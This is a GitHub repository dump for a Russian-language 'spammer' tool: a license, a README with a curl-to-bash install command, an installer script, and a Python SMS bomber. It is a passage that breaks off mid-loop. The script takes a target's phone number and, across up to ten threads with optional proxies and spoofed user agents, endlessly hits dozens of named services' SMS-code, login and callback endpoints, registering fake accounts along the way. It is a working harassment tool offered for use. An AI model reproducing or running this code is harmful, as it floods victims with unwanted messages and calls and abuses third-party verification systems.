├── LICENSE ├── README.md ├── install.sh ├── requirements.txt ├── spammer.py └── version.txt /LICENSE: -------------------------------------------------------------------------------- 1 | Mozilla Public License Version 2.0 2 | ================================== 3 | 4 | 1. Definitions 5 | -------------- 6 | 7 | 1.1. "Contributor" 8 | means each individual or legal entity that creates, contributes to 9 | the creation of, or owns Covered Software. 10 | 11 | 1.2. "Contributor Version" 12 | means the combination of the Contributions of others (if any) used 13 | by a Contributor and that particular Contributor's Contribution. 14 | 15 | 1.3. "Contribution" 16 | means Covered Software of a particular Contributor. 17 | 18 | 1.4. "Covered Software" 19 | means Source Code Form to which the initial Contributor has attached 20 | the notice in Exhibit A, the Executable Form of such Source Code 21 | Form, and Modifications of such Source Code Form, in each case 22 | including portions thereof. 23 | 24 | 1.5. "Incompatible With Secondary Licenses" 25 | means 26 | 27 | (a) that the initial Contributor has attached the notice described 28 | in Exhibit B to the Covered Software; or 29 | 30 | (b) that the Covered Software was made available under the terms of 31 | version 1.1 or earlier of the License, but not also under the 32 | terms of a Secondary License. 33 | 34 | 1.6. "Executable Form" 35 | means any form of the work other than Source Code Form. 36 | 37 | 1.7. "Larger Work" 38 | means a work that combines Covered Software with other material, in 39 | a separate file or files, that is not Covered Software. 40 | 41 | 1.8. "License" 42 | means this document. 43 | 44 | 1.9. "Licensable" 45 | means having the right to grant, to the maximum extent possible, 46 | whether at the time of the initial grant or subsequently, any and 47 | all of the rights conveyed by this License. 48 | 49 | 1.10. "Modifications" 50 | means any of the following: 51 | 52 | (a) any file in Source Code Form that results from an addition to, 53 | deletion from, or modification of the contents of Covered 54 | Software; or 55 | 56 | (b) any new file in Source Code Form that contains any Covered 57 | Software. 58 | 59 | 1.11. "Patent Claims" of a Contributor 60 | means any patent claim(s), including without limitation, method, 61 | process, and apparatus claims, in any patent Licensable by such 62 | Contributor that would be infringed, but for the grant of the 63 | License, by the making, using, selling, offering for sale, having 64 | made, import, or transfer of either its Contributions or its 65 | Contributor Version. 66 | 67 | 1.12. "Secondary License" 68 | means either the GNU General Public License, Version 2.0, the GNU 69 | Lesser General Public License, Version 2.1, the GNU Affero General 70 | Public License, Version 3.0, or any later versions of those 71 | licenses. 72 | 73 | 1.13. "Source Code Form" 74 | means the form of the work preferred for making modifications. 75 | 76 | 1.14. "You" (or "Your") 77 | means an individual or a legal entity exercising rights under this 78 | License. For legal entities, "You" includes any entity that 79 | controls, is controlled by, or is under common control with You. For 80 | purposes of this definition, "control" means (a) the power, direct 81 | or indirect, to cause the direction or management of such entity, 82 | whether by contract or otherwise, or (b) ownership of more than 83 | fifty percent (50%) of the outstanding shares or beneficial 84 | ownership of such entity. 85 | 86 | 2. License Grants and Conditions 87 | -------------------------------- 88 | 89 | 2.1. Grants 90 | 91 | Each Contributor hereby grants You a world-wide, royalty-free, 92 | non-exclusive license: 93 | 94 | (a) under intellectual property rights (other than patent or trademark) 95 | Licensable by such Contributor to use, reproduce, make available, 96 | modify, display, perform, distribute, and otherwise exploit its 97 | Contributions, either on an unmodified basis, with Modifications, or 98 | as part of a Larger Work; and 99 | 100 | (b) under Patent Claims of such Contributor to make, use, sell, offer 101 | for sale, have made, import, and otherwise transfer either its 102 | Contributions or its Contributor Version. 103 | 104 | 2.2. Effective Date 105 | 106 | The licenses granted in Section 2.1 with respect to any Contribution 107 | become effective for each Contribution on the date the Contributor first 108 | distributes such Contribution. 109 | 110 | 2.3. Limitations on Grant Scope 111 | 112 | The licenses granted in this Section 2 are the only rights granted under 113 | this License. No additional rights or licenses will be implied from the 114 | distribution or licensing of Covered Software under this License. 115 | Notwithstanding Section 2.1(b) above, no patent license is granted by a 116 | Contributor: 117 | 118 | (a) for any code that a Contributor has removed from Covered Software; 119 | or 120 | 121 | (b) for infringements caused by: (i) Your and any other third party's 122 | modifications of Covered Software, or (ii) the combination of its 123 | Contributions with other software (except as part of its Contributor 124 | Version); or 125 | 126 | (c) under Patent Claims infringed by Covered Software in the absence of 127 | its Contributions. 128 | 129 | This License does not grant any rights in the trademarks, service marks, 130 | or logos of any Contributor (except as may be necessary to comply with 131 | the notice requirements in Section 3.4). 132 | 133 | 2.4. Subsequent Licenses 134 | 135 | No Contributor makes additional grants as a result of Your choice to 136 | distribute the Covered Software under a subsequent version of this 137 | License (see Section 10.2) or under the terms of a Secondary License (if 138 | permitted under the terms of Section 3.3). 139 | 140 | 2.5. Representation 141 | 142 | Each Contributor represents that the Contributor believes its 143 | Contributions are its original creation(s) or it has sufficient rights 144 | to grant the rights to its Contributions conveyed by this License. 145 | 146 | 2.6. Fair Use 147 | 148 | This License is not intended to limit any rights You have under 149 | applicable copyright doctrines of fair use, fair dealing, or other 150 | equivalents. 151 | 152 | 2.7. Conditions 153 | 154 | Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted 155 | in Section 2.1. 156 | 157 | 3. Responsibilities 158 | ------------------- 159 | 160 | 3.1. Distribution of Source Form 161 | 162 | All distribution of Covered Software in Source Code Form, including any 163 | Modifications that You create or to which You contribute, must be under 164 | the terms of this License. You must inform recipients that the Source 165 | Code Form of the Covered Software is governed by the terms of this 166 | License, and how they can obtain a copy of this License. You may not 167 | attempt to alter or restrict the recipients' rights in the Source Code 168 | Form. 169 | 170 | 3.2. Distribution of Executable Form 171 | 172 | If You distribute Covered Software in Executable Form then: 173 | 174 | (a) such Covered Software must also be made available in Source Code 175 | Form, as described in Section 3.1, and You must inform recipients of 176 | the Executable Form how they can obtain a copy of such Source Code 177 | Form by reasonable means in a timely manner, at a charge no more 178 | than the cost of distribution to the recipient; and 179 | 180 | (b) You may distribute such Executable Form under the terms of this 181 | License, or sublicense it under different terms, provided that the 182 | license for the Executable Form does not attempt to limit or alter 183 | the recipients' rights in the Source Code Form under this License. 184 | 185 | 3.3. Distribution of a Larger Work 186 | 187 | You may create and distribute a Larger Work under terms of Your choice, 188 | provided that You also comply with the requirements of this License for 189 | the Covered Software. If the Larger Work is a combination of Covered 190 | Software with a work governed by one or more Secondary Licenses, and the 191 | Covered Software is not Incompatible With Secondary Licenses, this 192 | License permits You to additionally distribute such Covered Software 193 | under the terms of such Secondary License(s), so that the recipient of 194 | the Larger Work may, at their option, further distribute the Covered 195 | Software under the terms of either this License or such Secondary 196 | License(s). 197 | 198 | 3.4. Notices 199 | 200 | You may not remove or alter the substance of any license notices 201 | (including copyright notices, patent notices, disclaimers of warranty, 202 | or limitations of liability) contained within the Source Code Form of 203 | the Covered Software, except that You may alter any license notices to 204 | the extent required to remedy known factual inaccuracies. 205 | 206 | 3.5. Application of Additional Terms 207 | 208 | You may choose to offer, and to charge a fee for, warranty, support, 209 | indemnity or liability obligations to one or more recipients of Covered 210 | Software. However, You may do so only on Your own behalf, and not on 211 | behalf of any Contributor. You must make it absolutely clear that any 212 | such warranty, support, indemnity, or liability obligation is offered by 213 | You alone, and You hereby agree to indemnify every Contributor for any 214 | liability incurred by such Contributor as a result of warranty, support, 215 | indemnity or liability terms You offer. You may include additional 216 | disclaimers of warranty and limitations of liability specific to any 217 | jurisdiction. 218 | 219 | 4. Inability to Comply Due to Statute or Regulation 220 | --------------------------------------------------- 221 | 222 | If it is impossible for You to comply with any of the terms of this 223 | License with respect to some or all of the Covered Software due to 224 | statute, judicial order, or regulation then You must: (a) comply with 225 | the terms of this License to the maximum extent possible; and (b) 226 | describe the limitations and the code they affect. Such description must 227 | be placed in a text file included with all distributions of the Covered 228 | Software under this License. Except to the extent prohibited by statute 229 | or regulation, such description must be sufficiently detailed for a 230 | recipient of ordinary skill to be able to understand it. 231 | 232 | 5. Termination 233 | -------------- 234 | 235 | 5.1. The rights granted under this License will terminate automatically 236 | if You fail to comply with any of its terms. However, if You become 237 | compliant, then the rights granted under this License from a particular 238 | Contributor are reinstated (a) provisionally, unless and until such 239 | Contributor explicitly and finally terminates Your grants, and (b) on an 240 | ongoing basis, if such Contributor fails to notify You of the 241 | non-compliance by some reasonable means prior to 60 days after You have 242 | come back into compliance. Moreover, Your grants from a particular 243 | Contributor are reinstated on an ongoing basis if such Contributor 244 | notifies You of the non-compliance by some reasonable means, this is the 245 | first time You have received notice of non-compliance with this License 246 | from such Contributor, and You become compliant prior to 30 days after 247 | Your receipt of the notice. 248 | 249 | 5.2. If You initiate litigation against any entity by asserting a patent 250 | infringement claim (excluding declaratory judgment actions, 251 | counter-claims, and cross-claims) alleging that a Contributor Version 252 | directly or indirectly infringes any patent, then the rights granted to 253 | You by any and all Contributors for the Covered Software under Section 254 | 2.1 of this License shall terminate. 255 | 256 | 5.3. In the event of termination under Sections 5.1 or 5.2 above, all 257 | end user license agreements (excluding distributors and resellers) which 258 | have been validly granted by You or Your distributors under this License 259 | prior to termination shall survive termination. 260 | 261 | ************************************************************************ 262 | * * 263 | * 6. Disclaimer of Warranty * 264 | * ------------------------- * 265 | * * 266 | * Covered Software is provided under this License on an "as is" * 267 | * basis, without warranty of any kind, either expressed, implied, or * 268 | * statutory, including, without limitation, warranties that the * 269 | * Covered Software is free of defects, merchantable, fit for a * 270 | * particular purpose or non-infringing. The entire risk as to the * 271 | * quality and performance of the Covered Software is with You. * 272 | * Should any Covered Software prove defective in any respect, You * 273 | * (not any Contributor) assume the cost of any necessary servicing, * 274 | * repair, or correction. This disclaimer of warranty constitutes an * 275 | * essential part of this License. No use of any Covered Software is * 276 | * authorized under this License except under this disclaimer. * 277 | * * 278 | ************************************************************************ 279 | 280 | ************************************************************************ 281 | * * 282 | * 7. Limitation of Liability * 283 | * -------------------------- * 284 | * * 285 | * Under no circumstances and under no legal theory, whether tort * 286 | * (including negligence), contract, or otherwise, shall any * 287 | * Contributor, or anyone who distributes Covered Software as * 288 | * permitted above, be liable to You for any direct, indirect, * 289 | * special, incidental, or consequential damages of any character * 290 | * including, without limitation, damages for lost profits, loss of * 291 | * goodwill, work stoppage, computer failure or malfunction, or any * 292 | * and all other commercial damages or losses, even if such party * 293 | * shall have been informed of the possibility of such damages. This * 294 | * limitation of liability shall not apply to liability for death or * 295 | * personal injury resulting from such party's negligence to the * 296 | * extent applicable law prohibits such limitation. Some * 297 | * jurisdictions do not allow the exclusion or limitation of * 298 | * incidental or consequential damages, so this exclusion and * 299 | * limitation may not apply to You. * 300 | * * 301 | ************************************************************************ 302 | 303 | 8. Litigation 304 | ------------- 305 | 306 | Any litigation relating to this License may be brought only in the 307 | courts of a jurisdiction where the defendant maintains its principal 308 | place of business and such litigation shall be governed by laws of that 309 | jurisdiction, without reference to its conflict-of-law provisions. 310 | Nothing in this Section shall prevent a party's ability to bring 311 | cross-claims or counter-claims. 312 | 313 | 9. Miscellaneous 314 | ---------------- 315 | 316 | This License represents the complete agreement concerning the subject 317 | matter hereof. If any provision of this License is held to be 318 | unenforceable, such provision shall be reformed only to the extent 319 | necessary to make it enforceable. Any law or regulation which provides 320 | that the language of a contract shall be construed against the drafter 321 | shall not be used to construe this License against a Contributor. 322 | 323 | 10. Versions of the License 324 | --------------------------- 325 | 326 | 10.1. New Versions 327 | 328 | Mozilla Foundation is the license steward. Except as provided in Section 329 | 10.3, no one other than the license steward has the right to modify or 330 | publish new versions of this License. Each version will be given a 331 | distinguishing version number. 332 | 333 | 10.2. Effect of New Versions 334 | 335 | You may distribute the Covered Software under the terms of the version 336 | of the License under which You originally received the Covered Software, 337 | or under the terms of any subsequent version published by the license 338 | steward. 339 | 340 | 10.3. Modified Versions 341 | 342 | If you create software not governed by this License, and you want to 343 | create a new license for such software, you may create and use a 344 | modified version of this License if you rename the license and remove 345 | any references to the name of the license steward (except to note that 346 | such modified license differs from this License). 347 | 348 | 10.4. Distributing Source Code Form that is Incompatible With Secondary 349 | Licenses 350 | 351 | If You choose to distribute Source Code Form that is Incompatible With 352 | Secondary Licenses under the terms of this version of the License, the 353 | notice described in Exhibit B of this License must be attached. 354 | 355 | Exhibit A - Source Code Form License Notice 356 | ------------------------------------------- 357 | 358 | This Source Code Form is subject to the terms of the Mozilla Public 359 | License, v. 2.0. If a copy of the MPL was not distributed with this 360 | file, You can obtain one at http://mozilla.org/MPL/2.0/. 361 | 362 | If it is not possible or desirable to put the notice in a particular 363 | file, then You may include the notice in a location (such as a LICENSE 364 | file in a relevant directory) where a recipient would be likely to look 365 | for such a notice. 366 | 367 | You may add additional accurate notices of copyright ownership. 368 | 369 | Exhibit B - "Incompatible With Secondary Licenses" Notice 370 | --------------------------------------------------------- 371 | 372 | This Source Code Form is "Incompatible With Secondary Licenses", as 373 | defined by the Mozilla Public License, v. 2.0. 374 | 375 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![Build Status](https://img.shields.io/github/stars/cludeex/spammer.svg)](https://github.com/cludeex/spammer) 2 | [![Build Status](https://img.shields.io/github/forks/cludeex/spammer.svg)](https://github.com/cludeex/spammer) 3 | [![License](https://img.shields.io/github/license/cludeex/spammer.svg)](https://github.com/cludeex/spammer) 4 | # Установка 5 | $ `bash <(curl -L git.io/spammer)`
6 | # Запуск 7 | $ `spammer`
8 | # Лицензия 9 | Проект распространяется под лицензией [Mozilla Public License 2.0](https://github.com/cludeex/spammer/blob/master/LICENSE). Скачивая программное обеспечение из [этого](https://github.com/cludeex/spammer) репозитория, вы соглашаетесь с ней. 10 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | clear 3 | if [ -d /data/data/com.termux/files/usr/ ]; then 4 | distro=termux 5 | elif [ -e /usr/local/bin/brew ]; then 6 | distro=darwin 7 | else 8 | distro=$(ls /etc | awk 'match($0, "(.+?)[-_](?:release|version)", groups) {if(groups[1] != "os") {print groups[1]}}') 9 | if [ -z $distro ]; then 10 | distro=$(source /etc/os-release && echo $ID) 11 | fi 12 | fi 13 | bin="/usr/bin" 14 | python="python3" 15 | sudo="sudo" 16 | if [ $distro = arch ]; then 17 | install="pacman -S --noconfirm" 18 | elif [ $distro = debian ]; then 19 | install="apt-get -y install" 20 | elif [ $distro = ubuntu ]; then 21 | install="apt -y install" 22 | elif [ $distro = termux ]; then 23 | install="apt -y install" 24 | bin="$PREFIX/bin" 25 | python="python" 26 | sudo="" 27 | elif [ $distro = fedora ] || [ $distro = redhat ]; then 28 | install="yum -y install" 29 | elif [ $distro = SuSE ] || [ $distro = sles ]; then 30 | install="zypper -n install" 31 | elif [ $distro = darwin ]; then 32 | install="brew install" 33 | bin="/usr/local/bin" 34 | elif [ $distro = alpine ]; then 35 | install="apk add" 36 | sudo="" 37 | pip="py3-pip" 38 | fi 39 | if [ -z $pip ] && [ $distro != termux ]; then 40 | pip=$python-pip 41 | fi 42 | $sudo $install git $python $pip 43 | git clone https://github.com/cludeex/spammer 44 | $python -m pip install -r spammer/requirements.txt 45 | $sudo cp spammer/spammer.py $bin/spammer 46 | $sudo chmod +x $bin/spammer 47 | $sudo rm -rf spammer 48 | spammer -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | colorama 2 | requests 3 | user_agent 4 | -------------------------------------------------------------------------------- /spammer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | from os import name, system 4 | from os.path import exists, isfile 5 | from random import choice, randint 6 | from threading import Thread 7 | from time import sleep 8 | from colorama import Fore, Style 9 | from requests import get, post 10 | from user_agent import generate_user_agent 11 | 12 | 13 | def banner(): 14 | system("cls" if name == "nt" else "clear") 15 | print(BRIGHT + GREEN) 16 | print(r" ___ ___ _ __ __ __ __ ___ ___ ") 17 | print(r" / __| _ \/_\ | \/ | \/ | __| _ \ ") 18 | print(r" \__ \ _/ _ \| |\/| | |\/| | _|| / ") 19 | print(r" |___/_|/_/ \_\_| |_|_| |_|___|_|_\ ") 20 | print() 21 | print(r" Spammer: github.com/cludeex ") 22 | print(RESET_ALL) 23 | 24 | 25 | def main(): 26 | banner() 27 | print("[1] СМС СПАМЕР.") 28 | print("[2] ОБНОВИТЬ СПАМЕР.") 29 | print("[3] ВЫХОД.") 30 | print() 31 | number = input(f"{BRIGHT}{BLUE}Введите номер пункта: {RESET_ALL}") 32 | if number == "1": 33 | spam_handler() 34 | elif number == "2": 35 | update() 36 | elif number == "3": 37 | print() 38 | exit() 39 | else: 40 | print(f"\n{BRIGHT}{RED}[*] Номер пункта введён неверно!{RESET_ALL}") 41 | sleep(1) 42 | main() 43 | 44 | 45 | def spam_handler(): 46 | check_internet() 47 | check_version() 48 | banner() 49 | print("Введите номер телефона") 50 | phone = parse_phone(input(f"{BRIGHT}{BLUE}spammer >> {RESET_ALL}")) 51 | print() 52 | print("Использовать прокси? (y/n)") 53 | proxy = input(f"{BRIGHT}{BLUE}spammer >> {RESET_ALL}") 54 | if proxy.lower() == "y": 55 | proxies = generate_proxy() 56 | else: 57 | proxies = None 58 | print() 59 | print("Введите кол-во потоков") 60 | threads = input(f"{BRIGHT}{BLUE}spammer >> {RESET_ALL}") 61 | if threads in ["", " ", "0"]: 62 | threads = "1" 63 | try: 64 | if int(threads) > 10: 65 | threads = "10" 66 | except ValueError: 67 | threads = "1" 68 | banner() 69 | print(f"Телефон: {BRIGHT}{BLUE}{phone}{RESET_ALL}") 70 | print("Спамер запущен", end="\n") 71 | print(f"{BRIGHT}{RED}[*] Ctrl+Z для остановки{RESET_ALL}") 72 | for _ in range(int(threads)): 73 | Thread(target=start_spam, args=(phone, proxies)).start() 74 | 75 | 76 | def start_spam(phone, proxies): 77 | def format_phone(phone, phone_mask): 78 | phone_list = list(phone) 79 | for i in phone_list: 80 | phone_mask = phone_mask.replace("#", i, 1) 81 | return phone_mask 82 | 83 | name = "" 84 | for _ in range(12): 85 | name += choice("123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM") 86 | password = name + choice("123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM") 87 | email = name + "@gmail.com" 88 | phone9 = phone[1:] 89 | headers = {"User-Agent": generate_user_agent()} 90 | while True: 91 | try: 92 | formatted_phone = format_phone(phone, "+# (###) ###-##-##") 93 | post("https://zoloto585.ru/api/bcard/reg/", json={"name": "", "surname": "", "patronymic": "", "sex": "m", "birthdate": "..", "phone": formatted_phone, "email": "", "city": ""}, headers=headers, proxies=proxies) 94 | except: 95 | pass 96 | try: 97 | formatted_phone = format_phone(phone[1:], "8(###)###-##-##") 98 | post("http://xn---72-5cdaa0cclp5fkp4ewc.xn--p1ai/user_account/ajax222.php?do=sms_code", data={"phone": formatted_phone}, headers=headers, proxies=proxies) 99 | except: 100 | pass 101 | try: 102 | post("https://youla.ru/web-api/auth/request_code", data={"phone": phone}, headers=headers, proxies=proxies) 103 | except: 104 | pass 105 | try: 106 | formatted_phone = format_phone(phone, "+# (###) ###-##-##") 107 | post("https://yaponchik.net/login/login.php", data={"login": "Y", "countdown": "0", "step": "phone", "redirect": "/profile/", "phone": formatted_phone, "code": ""}, headers=headers, proxies=proxies) 108 | except: 109 | pass 110 | try: 111 | post("https://eda.yandex/api/v1/user/request_authentication_code", json={"phone_number": "+" + phone}, headers=headers, proxies=proxies) 112 | except: 113 | pass 114 | try: 115 | post("https://api.iconjob.co/api/auth/verification_code", json={"phone": phone}, headers=headers, proxies=proxies) 116 | except: 117 | pass 118 | try: 119 | post("https://cabinet.wi-fi.ru/api/auth/by-sms", data={"msisdn": phone}, headers=headers, proxies=proxies) 120 | except: 121 | pass 122 | try: 123 | post("https://ng-api.webbankir.com/user/v2/create", json={"lastName": "иванов", "firstName": "иван", "middleName": "иванович", "mobilePhone": phone, "email": email, "smsCode": ""}, headers=headers, proxies=proxies) 124 | except: 125 | pass 126 | try: 127 | post("https://shop.vsk.ru/ajax/auth/postSms/", data={"phone": phone}, headers=headers, proxies=proxies) 128 | except: 129 | pass 130 | try: 131 | post("https://passport.twitch.tv/register?trusted_request=true", json={"birthday": {"day": 11, "month": 11, "year": 1999}, "client_id": "kd1unb4b3q4t58fwlpcbzcbnm76a8fp", "include_verification_code": True, "password": password, "phone_number": phone, "username": name}, headers=headers, proxies=proxies) 132 | except: 133 | pass 134 | try: 135 | post("https://b.utair.ru/api/v1/login/", json={"login": phone, "confirmation_type": "call_code"}, headers=headers, proxies=proxies) 136 | except: 137 | pass 138 | try: 139 | formatted_phone = format_phone(phone, "#(###)###-##-##") 140 | post("https://www.r-ulybka.ru/login/form_ajax.php", data={"action": "auth", "phone": formatted_phone}, headers=headers, proxies=proxies) 141 | except: 142 | pass 143 | try: 144 | post("https://uklon.com.ua/api/v1/account/code/send", headers={"client_id": "6289de851fc726f887af8d5d7a56c635", "User-Agent": generate_user_agent()}, json={"phone": phone}, proxies=proxies) 145 | except: 146 | pass 147 | try: 148 | post("https://partner.uklon.com.ua/api/v1/registration/sendcode", headers={"client_id": "6289de851fc726f887af8d5d7a56c635", "User-Agent": generate_user_agent()}, json={"phone": phone}, proxies=proxies) 149 | except: 150 | pass 151 | try: 152 | post("https://secure.ubki.ua/b2_api_xml/ubki/auth", json={"doc": {"auth": {"mphone": "+" + phone, "bdate": "11.11.1999", "deviceid": "00100", "version": "1.0", "source": "site", "signature": "undefined"}}}, headers={"Accept": "application/json", "User-Agent": generate_user_agent()}, proxies=proxies) 153 | except: 154 | pass 155 | try: 156 | formatted_phone = format_phone(phone, "+# (###) ###-##-##") 157 | post("https://www.top-shop.ru/login/loginByPhone/", data={"phone": formatted_phone}, headers=headers, proxies=proxies) 158 | except: 159 | pass 160 | try: 161 | formatted_phone = format_phone(phone, "8(###)###-##-##") 162 | post("https://topbladebar.ru/user_account/ajax222.php?do=sms_code", data={"phone": formatted_phone}, headers=headers, proxies=proxies) 163 | except: 164 | pass 165 | try: 166 | post("https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru", data={"phone_number": phone}, headers=headers, proxies=proxies) 167 | except: 168 | pass 169 | try: 170 | post("https://m.tiktok.com/node-a/send/download_link", json={"slideVerify": 0, "language": "ru", "PhoneRegionCode": "7", "Mobile": phone9, "page": {"pageName": "home", "launchMode": "direct", "trafficType": ""}}, headers=headers, proxies=proxies) 171 | except: 172 | pass 173 | try: 174 | post("https://thehive.pro/auth/signup", json={"phone": "+" + phone}, headers=headers, proxies=proxies) 175 | except: 176 | pass 177 | try: 178 | post(f"https://msk.tele2.ru/api/validation/number/{phone}", json={"sender": "Tele2"}, headers=headers, proxies=proxies) 179 | except: 180 | pass 181 | try: 182 | formatted_phone = format_phone(phone, "+# (###) ### - ## - ##") 183 | post("https://www.taxi-ritm.ru/ajax/ppp/ppp_back_call.php", data={"RECALL": "Y", "BACK_CALL_PHONE": formatted_phone}, headers=headers, proxies=proxies) 184 | except: 185 | pass 186 | try: 187 | post("https://www.tarantino-family.com/wp-admin/admin-ajax.php", data={"action": "callback_phonenumber", "phone": phone}, headers=headers, proxies=proxies) 188 | except: 189 | pass 190 | try: 191 | post("https://lk.tabris.ru/reg/", data={"action": "phone", "phone": phone}, headers=headers, proxies=proxies) 192 | except: 193 | pass 194 | try: 195 | post("https://tabasko.su/", data={"IS_AJAX": "Y", "COMPONENT_NAME": "AUTH", "ACTION": "GET_CODE", "LOGIN": phone}, headers=headers, proxies=proxies) 196 | except: 197 | pass 198 | try: 199 | post("https://www.sushi-profi.ru/api/order/order-call/", json={"phone": phone9, "name": name}, headers=headers, proxies=proxies) 200 | except: 201 | pass 202 | try: 203 | post("https://client-api.sushi-master.ru/api/v1/auth/init", json={"phone": phone}, headers=headers, proxies=proxies) 204 | except: 205 | pass 206 | try: 207 | formatted_phone = format_phone(phone9, "8(###)###-##-##") 208 | post("https://xn--80aaispoxqe9b.xn--p1ai/user_account/ajax.php?do=sms_code", data={"phone": formatted_phone}, headers=headers, proxies=proxies) 209 | except: 210 | pass 211 | try: 212 | formatted_phone = format_phone(phone9, "8 (###) ###-##-##") 213 | post("http://sushigourmet.ru/auth", data={"phone": formatted_phone, "stage": 1}, headers=headers, proxies=proxies) 214 | except: 215 | pass 216 | try: 217 | post("https://sushifuji.ru/sms_send_ajax.php", data={"name": "false", "phone": phone}, headers=headers, proxies=proxies) 218 | except: 219 | pass 220 | try: 221 | post("https://api.sunlight.net/v3/customers/authorization/", data={"phone": phone}, headers=headers, proxies=proxies) 222 | except: 223 | pass 224 | try: 225 | get("https://suandshi.ru/mobile_api/register_mobile_user", params={"phone": phone}, headers=headers, proxies=proxies) 226 | except: 227 | pass 228 | try: 229 | formatted_phone = format_phone(phone9, "8-###-###-##-##") 230 | post("https://pizzasushiwok.ru/index.php", data={"mod_name": "registration", "tpl": "restore_password", "phone": formatted_phone}, headers=headers, proxies=proxies) 231 | except: 232 | pass 233 | try: 234 | get("https://www.sportmaster.ua/", params={"module": "users", "action": "SendSMSReg", "phone": phone}, headers=headers, proxies=proxies) 235 | except: 236 | pass 237 | try: 238 | formatted_phone = format_phone(phone, "+# (###) ###-##-##") 239 | get("https://www.sportmaster.ru/user/session/sendSmsCode.do", params={"phone": formatted_phone}, headers=headers, proxies=proxies) 240 | except: 241 | pass 242 | try: 243 | post("https://www.sms4b.ru/bitrix/components/sms4b/sms.demo/ajax.php", data={"demo_number": "+" + phone, "ajax_demo_send": "1"}, headers=headers, proxies=proxies) 244 | except: 245 | pass 246 | try: 247 | post("https://smart.space/api/users/request_confirmation_code/", json={"mobile": "+" + phone, "action": "confirm_mobile"}, headers=headers, proxies=proxies) 248 | except: 249 | pass 250 | try: 251 | post("https://shopandshow.ru/sms/password-request/", data={"phone": "+" + phone, "resend": 0}, headers=headers, proxies=proxies) 252 | except: 253 | pass 254 | try: 255 | post("https://shafa.ua/api/v3/graphiql", json={"operationName": "RegistrationSendSms", "variables": {"phoneNumber": "+" + phone}, "query": "mutation RegistrationSendSms($phoneNumber: String!) {\n unauthorizedSendSms(phoneNumber: $phoneNumber) {\n isSuccess\n userToken\n errors {\n field\n messages {\n message\n code\n __typename\n }\n __typename\n }\n __typename\n }\n}\n"}, headers=headers, proxies=proxies) 256 | except: 257 | pass 258 | try: 259 | post("https://shafa.ua/api/v3/graphiql", json={"operationName": "sendResetPasswordSms", "variables": {"phoneNumber": "+" + phone}, "query": "mutation sendResetPasswordSms($phoneNumber: String!) {\n resetPasswordSendSms(phoneNumber: $phoneNumber) {\n isSuccess\n userToken\n errors {\n ...errorsData\n __typename\n }\n __typename\n }\n}\n\nfragment errorsData on GraphResponseError {\n field\n messages {\n code\n message\n __typename\n }\n __typename\n}\n"}, headers=headers, proxies=proxies) 260 | except: 261 | pass 262 | try: 263 | post("https://sayoris.ru/?route=parse/whats", data={"phone": phone}, headers=headers, proxies=proxies) 264 | except: 265 | pass 266 | try: 267 | post("https://api.saurisushi.ru/Sauri/api/v2/auth/login", data={"data": {"login": phone9, "check": True, "crypto": {"captcha": "739699"}}}, headers=headers, proxies=proxies) 268 | except: 269 | pass 270 | try: 271 | post("https://pass.rutube.ru/api/accounts/phone/send-password/", json={"phone": "+" + phone}, headers=headers, proxies=proxies) 272 | except: 273 | pass 274 | try: 275 | post("https://rutaxi.ru/ajax_auth.html", data={"l": phone9, "c": "3"}, headers=headers, proxies=proxies) 276 | except: 277 | pass 278 | try: 279 | post("https://rieltor.ua/api/users/register-sms/", json={"phone": phone, "retry": 0}, headers=headers, proxies=proxies) 280 | except: 281 | pass 282 | try: 283 | post("https://richfamily.ru/ajax/sms_activities/sms_validate_phone.php", data={"phone": "+" + phone}, headers=headers, proxies=proxies) 284 | except: 285 | pass 286 | try: 287 | formatted_phone = format_phone(phone, "+#(###)###-##-##") 288 | post("https://www.rendez-vous.ru/ajax/SendPhoneConfirmationNew/", data={"phone": formatted_phone, "alien": "0"}, headers=headers, proxies=proxies) 289 | except: 290 | pass 291 | try: 292 | get("https://oapi.raiffeisen.ru/api/sms-auth/public/v1.0/phone/code", params={"number": phone}, headers=headers, proxies=proxies) 293 | except: 294 | pass 295 | try: 296 | post("https://qlean.ru/clients-api/v2/sms_codes/auth/request_code", json={"phone": phone}, headers=headers, proxies=proxies) 297 | except: 298 | pass 299 | try: 300 | formatted_phone = format_phone(phone, "+#-###-###-##-##") 301 | post("https://api.pozichka.ua/v1/registration/send", json={"RegisterSendForm": {"phone": formatted_phone}}, headers=headers, proxies=proxies) 302 | except: 303 | pass 304 | try: 305 | formatted_phone = format_phone(phone, "+# (###) ###-##-##") 306 | post("https://pliskov.ru/Cube.MoneyRent.Orchard.RentRequest/PhoneConfirmation/SendCode", data={"phone": formatted_phone}, headers=headers, proxies=proxies) 307 | except: 308 | pass 309 | try: 310 | get("https://cabinet.planetakino.ua/service/sms", params={"phone": phone}, headers=headers, proxies=proxies) 311 | except: 312 | pass 313 | try: 314 | formatted_phone = format_phone(phone9, "8-###-###-##-##") 315 | post("https://pizzasushiwok.ru/index.php", data={"mod_name": "call_me", "task": "request_call", "name": name, "phone": formatted_phone}, headers=headers, proxies=proxies) 316 | except: 317 | pass 318 | try: 319 | post("https://pizzasinizza.ru/api/phoneCode.php", json={"phone": phone9}, headers=headers, proxies=proxies) 320 | except: 321 | pass 322 | try: 323 | post("https://pizzakazan.com/auth/ajax.php", data={"phone": "+" + phone, "method": "sendCode"}, headers=headers, proxies=proxies) 324 | except: 325 | pass 326 | try: 327 | formatted_phone = format_phone(phone, "+# (###) ###-####") 328 | post("https://pizza46.ru/ajaxGet.php", data={"phone": formatted_phone}, headers=headers, proxies=proxies) 329 | except: 330 | pass 331 | try: 332 | post("https://piroginomerodin.ru/index.php?route=sms/login/sendreg", data={"telephone": "+" + phone}, headers=headers, proxies=proxies) 333 | except: 334 | pass 335 | try: 336 | formatted_phone = format_phone(phone, "+#-###-###-##-##") 337 | post("https://paylate.ru/registry", data={"mobile": formatted_phone, "first_name": name, "last_name": name, "nick_name": name, "gender-client": 1, "email": email, "action": "registry"}, headers=headers, proxies=proxies) 338 | except: 339 | pass 340 